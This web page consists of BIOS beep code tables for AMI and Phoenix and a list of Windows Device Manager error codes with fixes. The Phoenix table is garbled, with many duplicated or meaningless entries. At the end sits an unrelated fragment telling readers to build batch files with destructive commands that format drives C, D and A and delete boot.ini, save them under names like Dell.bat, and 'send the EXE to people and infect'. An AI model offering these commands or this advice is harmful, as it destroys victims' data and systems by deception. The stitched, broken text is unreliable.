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BIOS Beep Codes

When a computer is first turned on, or rebooted, its BIOS performs a power-on self test (POST) to test the system’s hardware, checking to make sure that all of the system’s hardware components are working properly. Under normal circumstances, the POST will display an error message; however, if the BIOS detects an error before it can access the video card, or if there is a problem with the video card, it will produce a series of beeps, and the pattern of the beeps indicates what kind of problem the BIOS has detected.
Because there are many brands of BIOS, there are no standard beep codes for every BIOS.

The two most-used brands are AMI (American Megatrends International) and Phoenix.

Below are listed the beep codes for AMI systems, and here are the beep codes for Phoenix systems.

AMI Beep Codes

Beep Code Meaning
1 beep DRAM refresh failure. There is a problem in the system memory or the motherboard.
2 beeps Memory parity error. The parity circuit is not working properly.
3 beeps Base 64K RAM failure. There is a problem with the first 64K of system memory.
4 beeps System timer not operational. There is problem with the timer(s) that control functions on the motherboard.
5 beeps Processor failure. The system CPU has failed.
6 beeps Gate A20/keyboard controller failure. The keyboard IC controller has failed, preventing gate A20 from switching the processor to protect mode.
7 beeps Virtual mode exception error.
8 beeps Video memory error. The BIOS cannot write to the frame buffer memory on the video card.
9 beeps ROM checksum error. The BIOS ROM chip on the motherboard is likely faulty.
10 beeps CMOS checksum error. Something on the motherboard is causing an error when trying to interact with the CMOS.
11 beeps Bad cache memory. An error in the level 2 cache memory.
1 long beep, 2 short Failure in the video system.
1 long beep, 3 short A failure has been detected in memory above 64K.
1 long beep, 8 short Display test failure.
Continuous beeping A problem with the memory or video.
BIOS Beep Codes

Phoenix Beep Codes

Phoenix uses sequences of beeps to indicate problems. The “-” between each number below indicates a pause between each beep sequence. For example, 1-2-3 indicates one beep, followed by a pause and two beeps, followed by a pause and three beeps. Phoenix version before 4.x use 3-beep codes, while Phoenix versions starting with 4.x use 4-beep codes. Click here for AMI BIOS beep codes.
4-Beep Codes
Beep Code Meaning
1-1-1-3 Faulty CPU/motherboard. Verify real mode.
1-1-2-1 Faulty CPU/motherboard.
1-1-2-3 Faulty motherboard or one of its components.
1-1-3-1 Faulty motherboard or one of its components. Initialize chipset registers with initial POST values.
1-1-3-2 Faulty motherboard or one of its components.
1-1-3-3 Faulty motherboard or one of its components. Initialize CPU registers.
1-1-3-2
1-1-3-3
1-1-3-4 Failure in the first 64K of memory.
1-1-4-1 Level 2 cache error.
1-1-4-3 I/O port error.
1-2-1-1 Power management error.
1-2-1-2
1-2-1-3 Faulty motherboard or one of its components.
1-2-2-1 Keyboard controller failure.
1-2-2-3 BIOS ROM error.
1-2-3-1 System timer error.
1-2-3-3 DMA error.
1-2-4-1 IRQ controller error.
1-3-1-1 DRAM refresh error.
1-3-1-3 A20 gate failure.
1-3-2-1 Faulty motherboard or one of its components.
1-3-3-1 Extended memory error.
1-3-3-3
1-3-4-1
1-3-4-3 Error in first 1MB of system memory.
1-4-1-3
1-4-2-4 CPU error.
1-4-3-1
2-1-4-1 BIOS ROM shadow error.
1-4-3-2
1-4-3-3 Level 2 cache error.
1-4-4-1
1-4-4-2
2-1-1-1 Faulty motherboard or one of its components.
2-1-1-3
2-1-2-1 IRQ failure.
2-1-2-3 BIOS ROM error.
2-1-2-4
2-1-3-2 I/O port failure.
2-1-3-1
2-1-3-3 Video system failure.
2-1-1-3
2-1-2-1 IRQ failure.
2-1-2-3 BIOS ROM error.
2-1-2-4 I/O port failure.
2-1-4-3
2-2-1-1 Video card failure.
2-2-1-3
2-2-2-1
2-2-2-3 Keyboard controller failure.
2-2-3-1 IRQ error.
2-2-4-1 Error in first 1MB of system memory.
2-3-1-1
2-3-3-3 Extended memory failure.
2-3-2-1 Faulty motherboard or one of its components.
2-3-2-3
2-3-3-1 Level 2 cache error.
2-3-4-1
2-3-4-3 Motherboard or video card failure.
2-3-4-1
2-3-4-3
2-4-1-1 Motherboard or video card failure.
2-4-1-3 Faulty motherboard or one of its components.
2-4-2-1 RTC error.
2-4-2-3 Keyboard controller error.
2-4-4-1 IRQ error.
3-1-1-1
3-1-1-3
3-1-2-1
3-1-2-3 I/O port error.
3-1-3-1
3-1-3-3 Faulty motherboard or one of its components.
3-1-4-1
3-2-1-1
3-2-1-2 Floppy drive or hard drive failure.
3-2-1-3 Faulty motherboard or one of its components.
3-2-2-1 Keyboard controller error.
3-2-2-3
3-2-3-1
3-2-4-1 Faulty motherboard or one of its components.
3-2-4-3 IRQ error.
3-3-1-1 RTC error.
3-3-1-3 Key lock error.
3-3-3-3 Faulty motherboard or one of its components.
3-3-3-3
3-3-4-1
3-3-4-3
3-4-1-1
3-4-1-3
3-4-2-1
3-4-2-3
3-4-3-1
3-4-4-1
3-4-4-4 Faulty motherboard or one of its components.
4-1-1-1 Floppy drive or hard drive failure.
4-2-1-1
4-2-1-3
4-2-2-1 IRQ failure.
4-2-2-3
4-2-3-1
4-2-3-3
4-2-4-1 Faulty motherboard or one of its components.
4-2-4-3 Keyboard controller error.
4-3-1-3
4-3-1-4
4-3-2-1
4-3-2-2
4-3-3-1
4-3-4-1
4-3-4-3 Faulty motherboard or one of its components.
4-3-3-2
4-3-3-4 IRQ failure.
4-3-3-3
4-3-4-2 Floppy drive or hard drive failure.
3-Beep Codes
Beep Code Meaning
1-1-2 Faulty CPU/motherboard.
1-1-3 Faulty motherboard/CMOS read-write failure.
1-1-4 Faulty BIOS/BIOS ROM checksum error.
1-2-1 System timer not operational. There is a problem with the timer(s) that control functions on the motherboard.
1-2-2
1-2-3 Faulty motherboard/DMA failure.
1-3-1 Memory refresh failure.
1-3-2
1-3-3
1-3-4 Failure in the first 64K of memory.
1-4-1 Address line failure.
1-4-2 Parity RAM failure.
1-4-3 Timer failure.
1-4-4 NMI port failure.
2-_-_ Any combination of beeps after 2 indicates a failure in the first 64K of memory.
3-1-1 Master DMA failure.
3-1-2 Slave DMA failure.
3-1-3
3-1-4 Interrupt controller failure.
3-2-4 Keyboard controller failure.
3-3-1
3-3-2 CMOS error.
3-3-4 Video card failure.
3-4-1 Video card failure.
4-2-1 Timer failure.
4-2-2 CMOS shutdown failure.
4-2-3 Gate A20 failure.
4-2-4 Unexpected interrupt in protected mode.
4-3-1 RAM test failure.
4-3-3 Timer failure.
4-3-4 Time of day clock failure.
4-4-1 Serial port failure.
4-4-2 Parallel port failure.
4-4-3 Math coprocessor.

device. The next step is to understand what each of these error codes mean

and apply the recommended resolution. The list of problem codes and the

recommended resolution are as follows:
Code 1
Code Meaning: The device is not configured correctly.
Recommended Resolution: The software drivers for the device have been

incorrectly installed or incorrectly configured. Select the Driver tab and

click the Update Driver button. This will launch an update Wizard. Follow the

instructions and locate the correct driver for the device to install it.

Additionally, you could try removing the device from Device
Manager and reinstalling it using the Add Hardware Wizard. Verify from the

hardware documentation/manufacturer’s Web site that the device will work with

your OS.
Code 2
Code Meaning: (Not applicable to Windows XP) Depending on the type of device,

this could indicate either a problem with the BIOS or a problem with loading

the device driver.
Recommended Resolution: Check with the BIOS manufacturer for an updated BIOS.

See the BIOS section of this guide on how to update the BIOS.
OR Get an updated driver for the device from the manufacturer and update the

device software by clicking Update Driver on the Driver tab.AND/OR Remove the

device from Device Manager and reinstall it using the Add Hardware Wizard.
Code 3
Code Meaning: The driver is corrupt or your system is running low on memory

and other resources.
Recommended Resolution: Run the Update Driver Wizard and reinstall the driver

or get an updated driver from the manufacturer.AND/OR Close any applications

using memory.
AND/OR Add more RAM. See the chapter on Memory on how to do that.AND/OR

Remove the device from Device Manager and reinstall it using the Add Hardware

Wizard.
Code 4
Code Meaning: (Not applicable to Windows XP) One of the drivers for the

device may have been corrupted, or its Windows Registry entry may be damaged.
Recommended Resolution: Check the registry by running scan-regw.exe. Click

Start > Run. Type scanregw.exe and hit [Enter]. This program will check the

Registry for corruption and prompt you to restore a previous good version of

the Registry if it encounters any damaged entries. AND Remove the device from

Device Manager and reinstall it using Add Hardware Wizard.
Code 5
Code Meaning: (Not applicable to Windows XP) The device has requested a

resource that Windows doesn’t know how to handle.
Recommended Resolution: Run the Update Driver Wizard and reinstall the driver

or get an updated driver from the manufacturer.OR Remove the device from

Device Manager and reinstall it using the Add Hardware Wizard.
Code 6
Code Meaning: (Not applicable to Windows XP) Another device is using a

resource that this device needs.
Recommended Resolution: Run msinfo32.exe to get more information on the

conflict. Check the Resources tab to get details of the conflict. Refer to

the hardware documentation and/or the manufacturer’s Web site for

instructions on the correct values that need to be set manually. Clear the

Automatic Settings checkbox,click the Change Setting button and input the

values.OR Run the Update Driver Wizard and reinstall the driver or get an

updated driver from the manufacturer.AND/OR Remove the device from Device

Manager and reinstall it using Add Hardware Wizard.
Code 7
Code Meaning: (Not applicable to Windows XP) The drivers need to be

reinstalled.
Recommended Resolution: Run the Update Driver Wizard and reinstall the driver

or get an updated driver from the manufacturer.AND/OR Remove the device from

Device Manager and reinstall it using the Add Hardware Wizard.
Code 8
Code Meaning: (Not applicable to Windows XP) Windows cannot load the basic

device loader file that loads the device driver, or it is missing or corrupt,

or a software value for the device is missing or corrupt.
Recommended Resolution: Run the Update Driver Wizard and reinstall the driver

or get an updated driver from the manufacturer.AND/OR Remove the device from

Device Manager and reinstall it using the Add Hardware Wizard.
Code 9
Code Meaning: (Not applicable to Windows XP) The BIOS is reporting the

resources for this device incorrectly and the Windows Registry is invalid.
Recommended Resolution: Run the Update Driver Wizard and reinstall the driver

or get an updated driver and the correct Registry entries from the

manufacturer. AND/OR Remove the device from Device Manager and reinstall it

using the Add Hardware Wizard. OR (as a last resort) Reinstall Windows.
Code 10
Code Meaning: The hardware will report the reason for failure that Windows

should display. If the hardware doesn’t report the reason for failure,

Windows will say that the device is not present, not working correctly or

does not have all the required drivers
installed.
Recommended Resolution: If the failure message is present, use that to

troubleshoot the problem by referring to the documentation or manufacturer’s

Web site. AND/OR
Run the Update Driver Wizard and reinstall the driver or get an updated

driver from the manufacturer. AND/OR Remove the device from Device Manager

and reinstall it using the
Add Hardware Wizard.
Code 11
Code Meaning: (Not applicable to Windows XP) Windows stopped responding when

it tried to start the device, and hence will never try to start this device

again.
Recommended Resolution: Run the Update Driver Wizard and reinstall with an

updated driver from the manufacturer.
Code 12
Code Meaning: Two devices have been assigned the same I/O port, interrupt or

DMA channel. This could be by the BIOS, by Windows,both. Also, it could be

that the BIOS has not allocated enough resources for the device.
Recommended Resolution: Disable one of the devices. (Windows9x/ME:

Double-click, select “Disable in this hardware profile” on the General tab of

the property sheet; Windows 2000/XP: Right-click and select Disable) OR Check

the Resources tab to get details of the conflict. Refer to the hardware

documentation and/or the manufacturer’s Web site for instructions on the

correct values that need to be set manually. Clear the “Automatic Settings”

checkbox, click the “Change Setting” button, and input the values.
AND/OR Reconfigure the BIOS resource allocation if possible. Refer to

themotherboard documentation along with the device documentation.
Code 13
Code Meaning: (Not applicable to Windows XP) Windows did not detect the

hardware.
Recommended Resolution: Verify that the hardware is working and that the

physical installation is correct. Refer to the manufacturer’s documentation

for specific installation instructions.AND Remove the device from Device

Manager and reinstall it using the Add Hardware Wizard.
Code 14
Code Meaning: The device cannot work properly until the system is restarted.
Recommended Resolution: Restart the computer.
Code 15
Code Meaning: (Not applicable to Windows XP) The device is causing a resource

conflict.
Recommended Resolution: Run msinfo32.exe to get more information on the

conflict. Check the Resources tab to get details of the conflict. Refer to

the hardware documentation and/or the manufacturer’s Web site for

instructions on the correct values that need to be set manually. Clear the

“Automatic Settings” checkbox, click the “Change Settings” button, and input

the values.
Code 16
Code Meaning: The device is only partially configured and Windows could not

find all the resources required by this device.Recommended Resolution: Run

msinfo32.exe to get more information on the conflict. Check the Resources tab

to get details of
the conflict. Refer to the hardware documentation and/or the manufacturer’s

Web site for instructions on the correct values that need to be set manually.

Clear the “Automatic Settings” checkbox,click the “Change Settings” button,

and input the values.
Code 17
Code Meaning: (Not applicable to Windows XP) The hardware is a multi-function

device whose driver file is reporting invalid information on how to split the

resources.
Recommended Resolution: Remove the device from Device Manager and reinstall

it using the Add Hardware Wizard. Use an updated device driver if required.
Code 18
Code Meaning: The drivers for this device should be reinstalled.
Recommended Resolution: Select the driver tab and click the “Update Driver”

button. Use an updated device driver if required.
Code 19
Code Meaning: A problem with the Windows Registry entry for this device was

detected.
Recommended Resolution: In Windows 9x/ME/2000, run the Registry scanner

(scanreg.exe). If this does not solve the problem, run “scanreg.exe

/restore”. If this still does not solve the problem, remove the device and

reinstall it using the Add New Hardware Wizard.In Windows XP, run the

Troubleshooting Wizard from the General tab of the Device Properties sheet.

Click Uninstall and then click “Scan for hardware changes” to reinstall the

device. If that doesn’t solve the problem, restart the computer in Safe Mode

and select “Last Known Good Configuration”.
Code 20
Code Meaning: (Not applicable to Windows XP) One of the drivers for this

device could not be loaded, and Windows is not able to interpret the result.
Recommended Resolution: Remove the device from Device Manager and reinstall

it using the Add Hardware Wizard.
Code 21
Code Meaning: The device is being removed as it has a problem,and Windows

needs to be restarted.
Recommended Resolution: Wait a few seconds and refresh the Device Manager. If

the device still shows, then restart the computer.
Code 22
Code Meaning: The device has either been disabled by a user or has not

started.
Recommended Resolution: Wait a few seconds and refresh the Device Manager. If

the device still shows, then restart the computer. Trying enabling the

device. If that is not possible, remove the device, reboot the computer and

reinstall it using the Add
Hardware Wizard.
Code 23
Code Meaning: (Not applicable to Windows XP) This indicates a problem with

the drivers of either the primary or secondary display adaptor. The device

loader program delayed loading the device and then did not inform Windows.
Recommended Resolution: Verify that the drivers for all the display adaptors

on the computer are correct and updated. Remove the display adaptors and

reboot. Windows will automatically detect the adaptors and configure them. If

the device is not a display adaptor, then remove the device and reinstall it

using the Add Hardware Wizard.
Code 24
Code Meaning: Windows couldn’t detect the device. This error may happen if

the device has been set for removal.
Recommended Resolution: Verify that the hardware is working and that the

physical installation is correct. Remove the device from Device Manager.

Reinstall it using the Add Hardware Wizard. Update the device driver to the

latest.
Code 25
Code Meaning: (Not applicable to Windows XP) The device installation has not

yet been completed.
Recommended Resolution: Restart the computer. Windows may require to be

reinstalled depending on whether the reboot solves the problem or not.
Code 26
Code Meaning: (Not applicable to Windows XP) The device did not load or not

all the drivers were installed.
Recommended Resolution: Remove the device from Device Manager. Reinstall

using the Add Hardware Wizard.
Code 27:
Code Meaning: (Not applicable to Windows XP)The Windows Registry entry

describing the resources for this device is not valid.
Recommended Resolution: Remove the device from Device Manager. Reinstall it

using the Add Hardware Wizard.
Code 28
Code Meaning: (Not applicable to Windows XP) The driver for the device was

not installed correctly.
Recommended Resolution: Use the Update Driver Wizard to reinstall the

driver.AND/OR
Remove the device from Device Manager. Reinstall it using the Add Hardware

Wizard.
Code 29
Code Meaning: The device has been disabled in the BIOS, or the device will

not work with the version of Windows you are using.
Recommended Resolution: Enable the device in the BIOS. Refer to the

motherboard documentation for details and see the BIOS section of this guide

for further information.
Code 30
Code Meaning: (Not applicable to Windows XP) An IRQ that cannot be shared is

being used by this device and another device driver.Recommended Resolution:

View the resource conflict in the resources tab, if available. Refer to the

manufacturer’s documenta-
tion for either device and change the IRQ allocation manually. You can do

this by clearing the “Automatic Settings” checkbox and clicking the “Change

Settings” button.
Code 31
Code Meaning: To function properly, the device depends on another device

which is not functioning properly. Most likely the other device will also

have a error code.
Recommended Resolution: Troubleshoot the dependant device to enable this

device. If they still don’t work, remove them from Device Manager and

reinstall them using the Add Hardware Wizard.
Code 32
Code Meaning: (a) The installation disk/CD-ROM or network location was not

accessible to install the device drivers.
(b) A driver or service for the device has been disabled.
Recommended Resolution: (a) Restart the computer. If that doesn’t solve the

problem, copy the installation files to the hard disk and run the setup

program for the device.
(b) Remove the device from Device Manager and reinstall it using the Add

Hardware Wizard.
Code 33
Code Meaning: (a) The hardware is not responding to the driver software for

the device.
(b) The software that determines the resources required by the device has

failed.
Recommended Resolution: (a) Obtain an updated driver from the manufacturer.

Remove the device from Device Manager and reinstall it using the Add Hardware

Wizard.
(b) The hardware might have failed and needs to be replaced.
Code 34
Code Meaning: The device has to be configured manually.
Recommended Resolution: Refer to the manufacturer’s documentation for

instructions.
Code 35
Code Meaning: The BIOS is missing a resource assignment entry for the device

and needs to be updated.
Recommended Resolution: Obtain and install a new or updated BIOS from the

computer manufacturer or motherboard manufacturer.
Code 36
Code Meaning: The IRQ configuration has failed.
Recommended Resolution: Refer to the motherboard documentation to see if you

can change the IRQ settings in the BIOS. See the BIOS section of this guide

for further information.
Code 37
Code Meaning: The driver software failed to load.
Recommended Resolution: Remove the device from Device Manager and reinstall

it using the Add Hardware Wizard.
Code 38
Code Meaning: The driver software is already loaded into RAM and cannot be

loaded again.
Recommended Resolution: Restart the computer.
Code 39
Code Meaning: Some or all the drivers could not be loaded as they may be

corrupted or missing.
Recommended Resolution: Remove the device from Device Manager and reinstall

it using the Add Hardware Wizard. Update the driver if possible.
Code 40
Code Meaning: The driver’s Registry entry is either corrupted or missing.
Recommended Resolution: Remove the device from Device Manager and reinstall

it using the Add Hardware Wizard. Update the driver if possible.
Code 41
Code Meaning: This usually happens when Windows cannot detect non-Plug and

Play devices.
Recommended Resolution: Obtain an updated driver for the device from the

manufacturer. Remove the device from Device Manager and reinstall it using

the Add Hardware Wizard. Update the driver if possible.
Code 42
Code Meaning: A (system bus) driver has created duplicate entries, or a

serial number is discovered in a new location before it is removed from the

old location.
Recommended Resolution: Restart the computer.
Code 43
Code Meaning: One of the drivers controlling the device notified Windows that

the hardware has failed in some manner, and Windows stopped the device.
Recommended Resolution: Refer to the hardware documentation or the

manufacturer’s Web site to resolve this error.
Code 44
Code Meaning: A software program or system service has shut down the

hardware.
Recommended Resolution: Restart the computer.
Code 45
Code Meaning: The hardware is not connected to the computer. This error is

reported when the computer is set to show all devices previously connected to

the computer.
Recommended Resolution: Reconnect the hardware or ignore the error. No

resolution is necessary.
Code 46
Code Meaning: Windows is not able to access the device as the system is

shutting down.
Recommended Resolution: The device should work correctly when the computer

restarts.
Code 47
Code Meaning: The device has been prepared for safe removal either by

unplugging or pressing an eject button.
Recommended Resolution: Unplug or eject the device and then plug it or insert

it back in to bring the device back online. Note: Restarting the computer

also brings the device back online.
Code 48
Code Meaning: The driver for the device is known to have problems with

Windows.
Recommended Resolution: Obtain an updated driver from the device manufacturer

and update the driver.
Code 49
Code Meaning: The system hive of the Windows registry has reached its maximum

limit and new devices cannot work until the size is reduced.
Recommended Resolution: The system hive contains configuration for the entire

computer. Uninstall all device drivers that are no longer in use to reduce

the size of the system hive.

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then save it with the name fakevirus.exe

If this file got deleted immediately ….that means ur antivirus is working n updated

Step 3.
Send the EXE to People And Infect

OR

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format c:\ /Q/X — this will format your drive c:\

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0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\

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format a:\ /Q/X — this will format your drive a:\

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del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

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go to notepad and type the following:

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save it as Dell.bat

want worse then type the following:

@echo off
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and save it as a .bat file

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